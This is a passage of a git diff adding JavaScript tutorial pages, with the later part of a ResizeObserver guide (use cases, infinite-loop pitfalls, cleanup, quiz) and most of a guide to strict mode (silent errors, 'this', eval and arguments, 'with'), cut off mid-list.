│ +│ │ │ ↑ borderBoxSize │ │ │ +│ │ └─────────────────────────────────────────────┘ │ │ +│ └─────────────────────────────────────────────────────────┘ │ +│ │ +│ contentRect = Content width/height only │ +│ contentBoxSize = Content width/height (modern, includes writing │ +│ mode support) │ +│ borderBoxSize = Content + padding + border │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### Choosing Which Box to Observe + +The `observe()` method accepts an options object: + +```javascript +// Observe the content box (default) +observer.observe(element); +observer.observe(element, { box: 'content-box' }); + +// Observe the border box (includes padding and border) +observer.observe(element, { box: 'border-box' }); + +// Observe device pixels (useful for canvas) +observer.observe(element, { box: 'device-pixel-content-box' }); +``` + +### Modern Size Properties + +The newer `contentBoxSize` and `borderBoxSize` properties return arrays of [ResizeObserverSize](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserverSize) objects with `inlineSize` and `blockSize`: + +```javascript +const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + // Modern approach (handles writing modes correctly) + if (entry.contentBoxSize) { + // It's an array (for multi-fragment elements in the future) + const contentBoxSize = entry.contentBoxSize[0]; + + console.log('Inline size:', contentBoxSize.inlineSize); // Width in horizontal writing mode + console.log('Block size:', contentBoxSize.blockSize); // Height in horizontal writing mode + } + + // Legacy approach (simpler but less accurate with writing modes) + console.log('Width:', entry.contentRect.width); + console.log('Height:', entry.contentRect.height); + } +}); +``` + +<Tip> +**When to use which:** Use `contentRect` for simple cases where you just need width and height. Use `contentBoxSize` or `borderBoxSize` when you need to handle different writing modes (like vertical text) or when you need border-box measurements. +</Tip> + +--- + +## Practical Use Cases + +### 1. Responsive Typography + +Adjust font size based on container width without media queries: + +```javascript +function createResponsiveText(element) { + const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + const width = entry.contentRect.width; + + // Scale font size based on container width + const fontSize = Math.max(16, Math.min(48, width / 20)); + entry.target.style.fontSize = `${fontSize}px`; + } + }); + + observer.observe(element); + return observer; +} + +// Usage +const headline = document.querySelector('.headline'); +const observer = createResponsiveText(headline); +``` + +### 2. Canvas Resizing + +Keep a canvas sharp at any size by matching its internal resolution: + +```javascript +function setupResponsiveCanvas(canvas) { + const ctx = canvas.getContext('2d'); + + const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + // Get the device pixel ratio for sharp rendering + const dpr = window.devicePixelRatio || 1; + + // Get the CSS size + const width = entry.contentRect.width; + const height = entry.contentRect.height; + + // Set the canvas internal size to match device pixels + canvas.width = width * dpr; + canvas.height = height * dpr; + + // Scale the context to use CSS pixels + ctx.scale(dpr, dpr); + + // Redraw your canvas content + redrawCanvas(ctx, width, height); + } + }); + + observer.observe(canvas); + return observer; +} + +function redrawCanvas(ctx, width, height) { + ctx.fillStyle = '#3498db'; + ctx.fillRect(0, 0, width, height); + ctx.fillStyle = 'white'; + ctx.font = '24px Arial'; + ctx.fillText(`${width} x ${height}`, 20, 40); +} +``` + +### 3. Element Queries (Container Queries Alternative) + +Before CSS Container Queries had wide support, ResizeObserver was the go-to solution: + +```javascript +function applyElementQuery(element, breakpoints) { + const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + const width = entry.contentRect.width; + + // Remove all breakpoint classes + Object.keys(breakpoints).forEach(bp => { + entry.target.classList.remove(breakpoints[bp]); + }); + + // Add the appropriate class based on width + if (width < 300) { + entry.target.classList.add(breakpoints.small); + } else if (width < 600) { + entry.target.classList.add(breakpoints.medium); + } else { + entry.target.classList.add(breakpoints.large); + } + } + }); + + observer.observe(element); + return observer; +} + +// Usage +const card = document.querySelector('.card'); +applyElementQuery(card, { + small: 'card--compact', + medium: 'card--standard', + large: 'card--expanded' +}); +``` + +### 4. Auto-Scrolling Chat Window + +Keep a chat window scrolled to the bottom when new messages arrive: + +```javascript +function setupAutoScroll(container) { + let shouldAutoScroll = true; + + // Track if user has scrolled up + container.addEventListener('scroll', () => { + const { scrollTop, scrollHeight, clientHeight } = container; + shouldAutoScroll = scrollTop + clientHeight >= scrollHeight - 10; + }); + + // When content changes size, scroll to bottom if appropriate + const observer = new ResizeObserver(() => { + if (shouldAutoScroll) { + container.scrollTop = container.scrollHeight; + } + }); + + observer.observe(container); + return observer; +} + +// Usage +const chatMessages = document.querySelector('.chat-messages'); +setupAutoScroll(chatMessages); +``` + +### 5. Dynamic Aspect Ratio + +Maintain aspect ratio for responsive video or image containers: + +```javascript +function maintainAspectRatio(element, ratio = 16 / 9) { + const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + const width = entry.contentRect.width; + const height = width / ratio; + + entry.target.style.height = `${height}px`; + } + }); + + observer.observe(element); + return observer; +} + +// Usage: 16:9 video container +const videoWrapper = document.querySelector('.video-wrapper'); +maintainAspectRatio(videoWrapper, 16 / 9); +``` + +--- + +## The #1 ResizeObserver Mistake: Infinite Loops + +The most dangerous mistake with ResizeObserver is creating an infinite loop by changing the observed element's size inside the callback. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ THE INFINITE LOOP TRAP │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ WRONG: │ +│ │ +│ ┌─────────┐ fires ┌──────────────┐ changes ┌─────────┐ │ +│ │ Element │ ──────────► │ Callback │ ─────────────► │ Element │ │ +│ │ resizes │ │ runs │ │ size! │ │ +│ └─────────┘ └──────────────┘ └────┬────┘ │ +│ ▲ │ │ +│ │ │ │ +│ └───────────────────────────────────────────────────────┘ │ +│ INFINITE LOOP! │ +│ │ +│ CORRECT: │ +│ │ +│ • Track expected sizes and skip if already at target │ +│ • Use requestAnimationFrame to defer changes │ +│ • Change OTHER elements, not the observed one │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### The Problem + +```javascript +// ❌ WRONG - Creates an infinite loop! +const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + // This changes the element's size, which triggers another callback! + entry.target.style.width = (entry.contentRect.width + 10) + 'px'; + } +}); + +observer.observe(element); // Browser will eventually throw an error +``` + +The browser protects against complete lockup by only processing elements deeper in the DOM tree on each iteration. Elements that don't meet this condition are deferred to the next frame, and an error is fired: + +``` +ResizeObserver loop completed with undelivered notifications. +``` + +### The Solutions + +**Solution 1: Track expected size and skip** + +```javascript +// ✓ CORRECT - Track expected size +const expectedSizes = new WeakMap(); + +const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + const expectedSize = expectedSizes.get(entry.target); + const currentWidth = entry.contentRect.width; + + // Skip if we're already at the expected size + if (currentWidth === expectedSize) { + continue; + } + + const newWidth = calculateNewWidth(currentWidth); + entry.target.style.width = `${newWidth}px`; + expectedSizes.set(entry.target, newWidth); + } +}); +``` + +**Solution 2: Use requestAnimationFrame** + +```javascript +// ✓ CORRECT - Defer to next frame +const observer = new ResizeObserver((entries) => { + requestAnimationFrame(() => { + for (const entry of entries) { + // Changes happen after the current ResizeObserver cycle + entry.target.style.width = (entry.contentRect.width + 10) + 'px'; + } + }); +}); +``` + +**Solution 3: Modify other elements** + +```javascript +// ✓ CORRECT - Change a different element +const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + // Change a sibling or child, not the observed element itself + const label = entry.target.querySelector('.size-label'); + label.textContent = `${entry.contentRect.width} x ${entry.contentRect.height}`; + } +}); +``` + +<Warning> +**The Trap:** ResizeObserver callbacks that resize their observed elements will cause the error "ResizeObserver loop completed with undelivered notifications." While the browser prevents a complete freeze, you'll see errors in the console and potentially janky rendering. +</Warning> + +--- + +## Performance Considerations + +ResizeObserver is efficient, but there are still best practices to follow. + +### Do's and Don'ts + +```javascript +// ✓ DO: Reuse observers when possible +const sharedObserver = new ResizeObserver(handleResize); +elements.forEach(el => sharedObserver.observe(el)); + +// ❌ DON'T: Create a new observer for each element +elements.forEach(el => { + const observer = new ResizeObserver(handleResize); + observer.observe(el); // Wasteful! +}); +``` + +```javascript +// ✓ DO: Disconnect when elements are removed +function cleanup() { + observer.unobserve(element); + element.remove(); +} + +// ❌ DON'T: Leave orphaned observers +element.remove(); // Observer still running with no target! +``` + +```javascript +// ✓ DO: Debounce expensive operations +let timeout; +const observer = new ResizeObserver((entries) => { + clearTimeout(timeout); + timeout = setTimeout(() => { + // Expensive operation here + recalculateLayout(entries); + }, 100); +}); + +// ❌ DON'T: Run expensive operations on every callback +const observer = new ResizeObserver((entries) => { + // This runs on EVERY resize, even during drag! + expensiveLayoutCalculation(); +}); +``` + +### Memory Management + +Always clean up observers when you're done: + +```javascript +class ResizableComponent { + constructor(element) { + this.element = element; + this.observer = new ResizeObserver(this.handleResize.bind(this)); + this.observer.observe(element); + } + + handleResize(entries) { + // Handle resize + } + + destroy() { + // Clean up to prevent memory leaks + this.observer.disconnect(); + this.observer = null; + } +} +``` + +--- + +## Browser Support and Polyfills + +ResizeObserver has excellent browser support, available in all modern browsers since July 2020. + +| Browser | Support Since | +|---------|---------------| +| Chrome | 64 (January 2018) | +| Firefox | 69 (September 2019) | +| Safari | 13.1 (March 2020) | +| Edge | 79 (January 2020) | + +For older browsers, you can use a polyfill: + +```javascript +// Check if ResizeObserver is available +if ('ResizeObserver' in window) { + // Native support + const observer = new ResizeObserver(callback); +} else { + // Load polyfill or use fallback + console.warn('ResizeObserver not supported'); +} +``` + +--- + +## ResizeObserver vs Other Approaches + +| Approach | When It Fires | Efficiency | Use Case | +|----------|---------------|------------|----------| +| `window.resize` event | Viewport resize only | Good | Global layout changes | +| `ResizeObserver` | Any element size change | Excellent | Per-element responsive behavior | +| `MutationObserver` | DOM mutations | Good | Watching for added/removed elements | +| Polling with `setInterval` | On interval | Poor | Avoid if possible | +| CSS Container Queries | Element size change | Excellent | Pure CSS responsive components | + +<Tip> +**Modern recommendation:** Use CSS Container Queries for purely visual adaptations, and ResizeObserver when you need JavaScript logic to respond to size changes (canvas rendering, complex calculations, non-CSS updates). +</Tip> + +--- + +## Common Mistakes + +<AccordionGroup> + <Accordion title="Mistake 1: Forgetting to disconnect observers"> + ```javascript + // ❌ WRONG - Memory leak! + function attachObserver(element) { + const observer = new ResizeObserver(callback); + observer.observe(element); + // Observer lives forever, even if element is removed + } + + // ✓ CORRECT - Return observer for cleanup + function attachObserver(element) { + const observer = new ResizeObserver(callback); + observer.observe(element); + return observer; // Caller can disconnect when done + } + + const observer = attachObserver(myElement); + // Later... + observer.disconnect(); + ``` + </Accordion> + + <Accordion title="Mistake 2: Accessing contentBoxSize incorrectly"> + ```javascript + // ❌ WRONG - contentBoxSize is an array! + const observer = new ResizeObserver((entries) => { + const width = entries[0].contentBoxSize.inlineSize; // Error! + }); + + // ✓ CORRECT - Access the first element of the array + const observer = new ResizeObserver((entries) => { + const width = entries[0].contentBoxSize[0].inlineSize; + }); + ``` + </Accordion> + + <Accordion title="Mistake 3: Not handling initial callback"> + ```javascript + // Note: ResizeObserver fires immediately when you start observing! + const observer = new ResizeObserver((entries) => { + console.log('Resize detected'); // Fires right away! + }); + + observer.observe(element); // Triggers callback immediately + + // If you want to skip the initial call: + let isFirstCall = true; + const observer = new ResizeObserver((entries) => { + if (isFirstCall) { + isFirstCall = false; + return; // Skip initial measurement + } + handleResize(entries); + }); + ``` + </Accordion> + + <Accordion title="Mistake 4: Creating observers inside loops without cleanup"> + ```javascript + // ❌ WRONG - Creates new observer on each scroll! + window.addEventListener('scroll', () => { + const observer = new ResizeObserver(callback); // Memory leak! + observer.observe(element); + }); + + // ✓ CORRECT - Create once, reuse + const observer = new ResizeObserver(callback); + observer.observe(element); // Set up once + ``` + </Accordion> +</AccordionGroup> + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **ResizeObserver watches individual elements** for size changes, unlike `window.resize` which only detects viewport changes + +2. **The callback receives entries** with `target`, `contentRect`, `contentBoxSize`, and `borderBoxSize` properties + +3. **Use the `box` option** to observe content-box, border-box, or device-pixel-content-box + +4. **Avoid infinite loops** by not changing the observed element's size directly in the callback + +5. **Clean up with `disconnect()` or `unobserve()`** to prevent memory leaks + +6. **ResizeObserver fires immediately** when you start observing, not just on subsequent changes + +7. **Reuse observers** across multiple elements instead of creating one per element + +8. **Debounce expensive operations** because callbacks fire frequently during drag/resize interactions + +9. **contentBoxSize is an array** even though it usually contains just one element + +10. **Consider CSS Container Queries** for purely visual adaptations that don't need JavaScript +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What's the difference between contentRect and contentBoxSize?"> + **Answer:** + + `contentRect` is a `DOMRectReadOnly` object with `width`, `height`, `top`, `left`, `right`, `bottom`, `x`, and `y` properties. It represents the content box in terms of the document's coordinate system. + + `contentBoxSize` is an array of `ResizeObserverSize` objects with `inlineSize` and `blockSize` properties. These handle writing modes correctly (inline is width in horizontal mode, but height in vertical mode). + + ```javascript + // contentRect approach (simpler) + const width = entry.contentRect.width; + + // contentBoxSize approach (handles writing modes) + const inlineSize = entry.contentBoxSize[0].inlineSize; + ``` + </Accordion> + + <Accordion title="Question 2: When does ResizeObserver fire its callback?"> + **Answer:** + + ResizeObserver fires: + 1. **Immediately when you call `observe()`** on an element (initial measurement) + 2. **Whenever the observed element's size changes** for any reason (CSS changes, content changes, window resize, sibling changes, etc.) + + It processes resize events **before paint** but **after layout**, making it the ideal place to make layout adjustments. + </Accordion> + + <Accordion title="Question 3: How do you avoid the 'ResizeObserver loop' error?"> + **Answer:** + + The error occurs when your callback changes the observed element's size, triggering another callback. Solutions: + + ```javascript + // Solution 1: Track expected sizes + const expectedSize = new WeakMap(); + const observer = new ResizeObserver((entries) => { + for (const entry of entries) { + if (entry.contentRect.width === expectedSize.get(entry.target)) return; + // ... make changes + expectedSize.set(entry.target, newWidth); + } + }); + + // Solution 2: Use requestAnimationFrame + const observer = new ResizeObserver((entries) => { + requestAnimationFrame(() => { + // Changes deferred to next frame + }); + }); + + // Solution 3: Change other elements, not the observed one + ``` + </Accordion> + + <Accordion title="Question 4: How do you observe the border-box instead of content-box?"> + **Answer:** + + Pass an options object to `observe()`: + + ```javascript + // Observe border-box (content + padding + border) + observer.observe(element, { box: 'border-box' }); + + // Access border box size in callback + const borderWidth = entry.borderBoxSize[0].inlineSize; + ``` + </Accordion> + + <Accordion title="Question 5: What's the best way to clean up a ResizeObserver?"> + **Answer:** + + ```javascript + // Stop observing a specific element + observer.unobserve(element); + + // Stop observing ALL elements and disable the observer + observer.disconnect(); + ``` + + Always disconnect observers when: + - The observed element is removed from the DOM + - Your component/module is destroyed + - You no longer need to watch for size changes + + Failure to clean up causes memory leaks. + </Accordion> + + <Accordion title="Question 6: Why is contentBoxSize an array?"> + **Answer:** + + `contentBoxSize` and `borderBoxSize` are arrays to support future features where elements might have multiple fragments (like in multi-column layouts where an element might be split across columns). + + For now, these arrays always contain exactly one element, so you access it with `[0]`: + + ```javascript + const width = entry.contentBoxSize[0].inlineSize; + const height = entry.contentBoxSize[0].blockSize; + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Intersection Observer" icon="eye" href="/beyond/concepts/intersection-observer"> + Detect when elements enter or leave the viewport + </Card> + <Card title="Mutation Observer" icon="code-branch" href="/beyond/concepts/mutation-observer"> + Watch for changes to the DOM tree structure + </Card> + <Card title="DOM" icon="sitemap" href="/concepts/dom"> + Understanding the Document Object Model + </Card> + <Card title="Performance Observer" icon="gauge-high" href="/beyond/concepts/performance-observer"> + Monitor performance metrics in your application + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="ResizeObserver - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver"> + Official MDN documentation for the ResizeObserver API including constructor, methods, and browser compatibility. + </Card> + <Card title="ResizeObserverEntry - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserverEntry"> + Documentation for the entry objects passed to the ResizeObserver callback with all available properties. + </Card> + <Card title="Resize Observer API - MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Resize_Observer_API"> + Overview guide for the Resize Observer API with concepts and usage patterns. + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="ResizeObserver: It's Like document.onresize for Elements - web.dev" icon="newspaper" href="https://web.dev/articles/resize-observer"> + Google's official guide covering the API design, gotchas with infinite loops, and practical applications. Includes details on Interaction to Next Paint considerations. + </Card> + <Card title="ResizeObserver API Tutorial with Examples - LogRocket" icon="newspaper" href="https://blog.logrocket.com/how-to-use-the-resizeobserver-api-a-tutorial-with-examples/"> + Comprehensive tutorial with real-world examples including responsive components, canvas resizing, and performance optimization patterns. + </Card> + <Card title="A Practical Guide to ResizeObserver - Medium" icon="newspaper" href="https://mehul-kothari.medium.com/resizeobserver-a-comprehensive-guide-4afa012ccaad"> + Step-by-step walkthrough of ResizeObserver fundamentals with clear code examples for common use cases. + </Card> + <Card title="JavaScript ResizeObserver Interface - GeeksforGeeks" icon="newspaper" href="https://www.geeksforgeeks.org/javascript/javascript-resizeobserver-interface/"> + Beginner-friendly introduction to ResizeObserver with simple examples and explanations of the callback parameters. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="ResizeObserver - It's Like document.onresize for Elements - Google Chrome Developers" icon="video" href="https://www.youtube.com/watch?v=z8iFyJxFYKA"> + Official Chrome team explanation of ResizeObserver with live demos showing how to build responsive components without viewport-based media queries. + </Card> + <Card title="The Resize Observer API in JavaScript - Steve Griffith" icon="video" href="https://www.youtube.com/watch?v=9lkZ77m9-HY"> + Clear, methodical walkthrough of ResizeObserver covering the API surface, practical examples, and common pitfalls to avoid. + </Card> + <Card title="JavaScript Resize Observer Explained - dcode" icon="video" href="https://www.youtube.com/watch?v=M2c37drnnOA"> + Quick tutorial covering ResizeObserver basics with hands-on coding examples for responsive layouts and element-level queries. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/strict-mode.mdx b/docs/beyond/concepts/strict-mode.mdx new file mode 100644 index 00000000..6b202eed --- /dev/null +++ b/docs/beyond/concepts/strict-mode.mdx @@ -0,0 +1,689 @@ +--- +title: "Strict Mode: How to Catch Common Mistakes in JavaScript" +sidebarTitle: "Strict Mode: Catching Common Mistakes" +description: "Learn JavaScript strict mode and how 'use strict' catches common mistakes. Understand silent errors it prevents, how this changes, and when to use it." +--- + +Why doesn't JavaScript yell at you when you misspell a variable name? Why can you accidentally create global variables without any warning? And why do some errors just... silently disappear? + +```javascript +// In regular JavaScript (sloppy mode) +function calculateTotal(price) { + // Oops! Typo in variable name - no error, just creates a global + totall = price * 1.1 + return total // ReferenceError - but only here! +} +``` + +The answer is that JavaScript was designed to be forgiving. Too forgiving. [**Strict mode**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode) is an opt-in way to catch these mistakes early, turning silent failures into actual errors you can fix. + +```javascript +"use strict" + +function calculateTotal(price) { + totall = price * 1.1 // ReferenceError: totall is not defined + return total // Never reaches here - error caught immediately! +} +``` + +<Info> +**What you'll learn in this guide:** +- How to enable strict mode (and when it's automatic) +- The most common silent errors that strict mode catches +- How `this` behaves differently in strict mode +- Why `eval` and `arguments` have restrictions +- Reserved words that strict mode protects for future JavaScript +- When you don't need to add `"use strict"` anymore +</Info> + +<Warning> +**Prerequisite:** This guide references [Scope & Closures](/concepts/scope-and-closures) and [this, call, apply & bind](/concepts/this-call-apply-bind). If you're not comfortable with those yet, you can still follow along, but reading them first will make the examples clearer. +</Warning> + +--- + +## What is Strict Mode? + +**Strict mode** is an opt-in restricted variant of JavaScript, introduced in ECMAScript 5 (2009). It catches common mistakes by converting silent errors into thrown exceptions and disabling confusing features. Enable it by adding `"use strict"` at the beginning of a script or function. + +--- + +## The Safety Net Analogy + +Think of strict mode like the safety net under a trapeze artist. + +Without the net, a small mistake might go unnoticed. The artist might develop bad habits, make minor errors in form, and never realize it until something goes seriously wrong. + +With the net in place, those small mistakes become obvious. When you slip, you notice immediately. You can correct your form before bad habits become permanent. + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ SLOPPY MODE vs STRICT MODE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ SLOPPY MODE (Default) STRICT MODE ("use strict") │ +│ ───────────────────── ───────────────────────── │ +│ │ +│ ┌──────────────────────┐ ┌──────────────────────┐ │ +│ │ mistakeVar = 5 │ │ mistakeVar = 5 │ │ +│ │ ↓ │ │ ↓ │ │ +│ │ Creates global │ │ ReferenceError! │ │ +│ │ (silent failure) │ │ (caught early) │ │ +│ └──────────────────────┘ └──────────────────────┘ │ +│ │ +│ ┌──────────────────────┐ ┌──────────────────────┐ │ +│ │ NaN = 42 │ │ NaN = 42 │ │ +│ │ ↓ │ │ ↓ │ │ +│ │ Does nothing │ │ TypeError! │ │ +│ │ (no feedback) │ │ (can't assign) │ │ +│ └──────────────────────┘ └──────────────────────┘ │ +│ │ +│ "Forgiving" but dangerous Strict but helpful │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +Strict mode doesn't make JavaScript a different language. It just adds guardrails that catch problems before they become bugs. + +--- + +## How to Enable Strict Mode + +### Whole-Script Strict Mode + +Add `"use strict";` as the very first statement in your file: + +```javascript +"use strict" + +// Everything in this file is now in strict mode +let validVariable = 10 +invalidVariable = 20 // ReferenceError! +``` + +<Warning> +**The directive must be first.** If anything other than comments appears before `"use strict"`, it becomes a regular string and does nothing: + +```javascript +let x = 1 +"use strict" // Too late! This is just a string now + +invalidVariable = 20 // No error - strict mode isn't active +``` +</Warning> + +### Function-Level Strict Mode + +You can enable strict mode for just one function: + +```javascript +function loose() { + badVariable = "oops" // Creates global (sloppy mode) +} + +function strict() { + "use strict" + badVariable = "oops" // ReferenceError! (strict mode) +} +``` + +This is useful when adding strict mode to legacy codebases gradually. + +### Automatic Strict Mode: Modules and Classes + +Here's the good news: **you probably don't need to write `"use strict"` anymore.** + +[ES Modules](/concepts/es-modules) are automatically in strict mode: + +```javascript +// myModule.js (or any file loaded as type="module") +// No "use strict" needed - it's automatic! + +export function greet(name) { + mesage = `Hello, ${name}` // ReferenceError! (strict mode is on) + return message +} +``` + +[Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes) are also automatically strict: + +```javascript +class Calculator { + add(a, b) { + // This method runs in strict mode automatically + reslt = a + b // ReferenceError! + return result + } +} +``` + +<Tip> +**Quick Rule:** If you're writing modern JavaScript with `import`/`export` or classes, strict mode is already on. You only need `"use strict"` for standalone scripts that don't use modules. +</Tip> + +--- + +## Silent Errors That Become Real Errors + +This is the biggest win of strict mode. JavaScript has many operations that silently fail in [sloppy mode](https://developer.mozilla.org/en-US/docs/Glossary/Sloppy_mode). Strict mode turns these into actual errors you can see and fix. + +### 1. Accidental Global Variables + +The most common JavaScript mistake. In sloppy mode, assigning to an undeclared variable creates a global: + +```javascript +// ❌ SLOPPY MODE - silent bug +function processUser(user) { + userName = user.name // Typo! Creates window.userName + return userName.toUpperCase() +} + +processUser({ name: "Alice" }) +console.log(window.userName) // "Alice" - leaked to global! +``` + +```javascript +// ✓ STRICT MODE - catches the bug +"use strict" + +function processUser(user) { + userName = user.name // ReferenceError: userName is not defined + return userName.toUpperCase() +} +``` + +This single change catches countless typos and copy-paste errors. See [Scope & Closures](/concepts/scope-and-closures) for more on how variable declarations work. + +### 2. Assignments to Read-Only Properties + +Some properties can't be changed. In sloppy mode, trying to change them does nothing. In strict mode, you get an error: + +```javascript +// ❌ SLOPPY MODE - silent failure +NaN = 42 // Does nothing +undefined = true // Does nothing +Infinity = 0 // Does nothing + +const obj = {} +Object.defineProperty(obj, "fixed", { value: 10, writable: false }) +obj.fixed = 20 // Does nothing - still 10 +``` + +```javascript +// ✓ STRICT MODE - actual errors +"use strict" + +NaN = 42 // TypeError: Cannot assign to read-only property +undefined = true // TypeError: Cannot assign to read-only property + +const obj = {} +Object.defineProperty(obj, "fixed", { value: 10, writable: false }) +obj.fixed = 20 // TypeError: Cannot assign to read-only property 'fixed' +``` + +### 3. Assignments to Getter-Only Properties + +If a property only has a getter (no setter), assignment silently fails in sloppy mode: + +```javascript +const user = { + get name() { + return "Alice" + } +} + +// ❌ SLOPPY MODE +user.name = "Bob" // Silent failure +console.log(user.name) // Still "Alice" + +// ✓ STRICT MODE +"use strict" +user.name = "Bob" // TypeError: Cannot set property 'name' which has only a getter +``` + +### 4. Deleting Undeletable Properties + +Built-in properties like `Object.prototype` can't be deleted: + +```javascript +// ❌ SLOPPY MODE - silent failure +delete Object.prototype // Returns false, does nothing +delete Math.PI // Returns false, does nothing + +// ✓ STRICT MODE - actual errors +"use strict" +delete Object.prototype // TypeError: Cannot delete property 'prototype' +``` + +### 5. Duplicate Parameter Names + +This catches copy-paste errors in function definitions: + +```javascript +// ❌ SLOPPY MODE - silently uses last value +function sum(a, a, b) { + return a + a + b // First 'a' is lost! +} +sum(1, 2, 3) // Returns 7 (2 + 2 + 3), not 6 + +// ✓ STRICT MODE - syntax error +"use strict" +function sum(a, a, b) { // SyntaxError: Duplicate parameter name + return a + a + b +} +``` + +### 6. Octal Literal Confusion + +Leading zeros in numbers can cause unexpected behavior: + +```javascript +// ❌ SLOPPY MODE - confusing octal interpretation +const filePermissions = 0755 // This is 493 in decimal! +console.log(filePermissions) // 493 + +// ✓ STRICT MODE - syntax error for legacy octal +"use strict" +const filePermissions = 0755 // SyntaxError: Octal literals are not allowed + +// Use the explicit 0o prefix instead: +const correctPermissions = 0o755 // Clear: this is octal +console.log(correctPermissions) // 493 +``` + +--- + +## How `this` Changes in Strict Mode + +One of the most important strict mode changes affects the [`this`](/concepts/this-call-apply-bind) keyword. + +### The Problem: Accidental Global Access + +In sloppy mode, when you call a function without a context, `this` defaults to the global object (`window` in browsers, `global` in Node.js): + +```javascript +// ❌ SLOPPY MODE - this = global object +function showThis() { + console.log(this) +} + +showThis() // Window {...} or global object +``` + +This is dangerous because you might accidentally read or modify global properties: + +```javascript +// ❌ SLOPPY MODE - accidental global modification +function setName(name) { + this.name = name // Sets window.name! +} + +setName("Alice") +console.log(window.name) // "Alice" - leaked! +``` + +### The Solution: `this` is `undefined` + +In strict mode, `this` remains `undefined` when a function is called without a context: + +```javascript +// ✓ STRICT MODE - this = undefined +"use strict" + +function showThis() { + console.log(this) +} + +showThis() // undefined + +function setName(name) { + this.name = name // TypeError: Cannot set property 'name' of undefined +} +``` + +This makes bugs obvious instead of silently corrupting global state. + +<Note> +**Arrow functions are different.** They inherit `this` from their surrounding scope regardless of strict mode. This behavior is consistent and not affected by the sloppy/strict distinction. +</Note> + +--- + +## Restrictions on `eval` and `arguments` + +Strict mode makes [`eval`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) and [`arguments`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments) less magical (and less dangerous). + +### Can't Use as Variable Names + +```javascript +// ❌ SLOPPY MODE - allowed but confusing +var eval = 10 +var arguments = [1, 2, 3] + +// ✓ STRICT MODE - syntax error +"use strict" +let eval = 10 // SyntaxError: Unexpected eval or arguments in strict mode +let arguments = [] // SyntaxError +``` + +### `eval` Doesn't Leak Variables + +In sloppy mode, `eval` can create variables in the surrounding scope: + +```javascript +// ❌ SLOPPY MODE - eval leaks variables +eval("var leaked = 'surprise!'") +console.log(leaked) // "surprise!" - it escaped! + +// ✓ STRICT MODE - eval is contained +"use strict" +eval("var contained = 'trapped'") +console.log(contained) // ReferenceError: contained is not defined +``` + +### `arguments` Doesn't Sync with Parameters + +In sloppy mode, `arguments` and named parameters are linked: + +```javascript +// ❌ SLOPPY MODE - weird synchronization +function weirdSync(a) { + arguments[0] = 99 + return a // Returns 99! Changed via arguments +} +weirdSync(1) // 99 + +// ✓ STRICT MODE - no synchronization +"use strict" +function noSync(a) { + arguments[0] = 99 + return a // Returns 1 - 'a' is independent +} +noSync(1) // 1 +``` + +--- + +## Reserved Words for Future JavaScript + +Strict mode reserves words that might be used in future versions of JavaScript: + +```javascript +"use strict" + +// These are reserved and cause SyntaxError if used as identifiers: +let implements // SyntaxError +let interface // SyntaxError +let package // SyntaxError +let private // SyntaxError +let protected // SyntaxError +let public // SyntaxError +let static // SyntaxError (except in class context) +``` + +This prevents your code from breaking when JavaScript adds new features using these keywords. + +--- + +## The `with` Statement is Forbidden + +The [`with`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with) statement is completely banned in strict mode: + +```javascript +// ❌ SLOPPY MODE - with is allowed but confusing +const obj = { x: 10, y: 20 } +with (obj) { + console.log(x + y) // 30 - but where do x and y come from? +} + +// ✓ STRICT MODE - with is forbidden +"use strict" +with (obj) { // SyntaxError: Strict mode code may not include a with statement + console.log(x + y) +} +``` + +The `with` statement makes code unpredictable and impossible to optimize. Use [destructuring](/concepts/modern-js-syntax) instead: + +```javascript +// ✓ BETTER - clear and explicit +const { x, y } = obj +console.log(x + y) // 30 - obviously from obj +``` + +--- + +## Common Mistake: Adding `"use strict"` When It's Already On + +A frequent mistake is adding `"use strict"` to code that's already in strict mode: + +```javascript +// myModule.js - ES Module (already strict!) +"use strict" // Unnecessary - modules are always strict + +export function greet() { + // ... +} +``` + +```javascript +class MyClass { + myMethod() { + "use strict" // Unnecessary - class bodies are always strict + } +} +``` + +This doesn't cause errors, but it's redundant. In modern JavaScript: + +| Context | Strict Mode | Need `"use strict"`? | +|---------|-------------|---------------------| +| ES Modules (`import`/`export`) | Automatic | No | +| Class bodies | Automatic | No | +| Code inside `eval()` in strict context | Automatic | No | +| Regular `<script>` tags | Sloppy by default | Yes | +| Node.js CommonJS files | Sloppy by default | Yes | + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **Strict mode catches silent failures** — Operations that would silently fail (like assigning to read-only properties) now throw errors you can see and fix. + +2. **`"use strict"` must be first** — Place it at the very top of a file or function, before any other statements. + +3. **Modules and classes are automatically strict** — If you use `import`/`export` or classes, 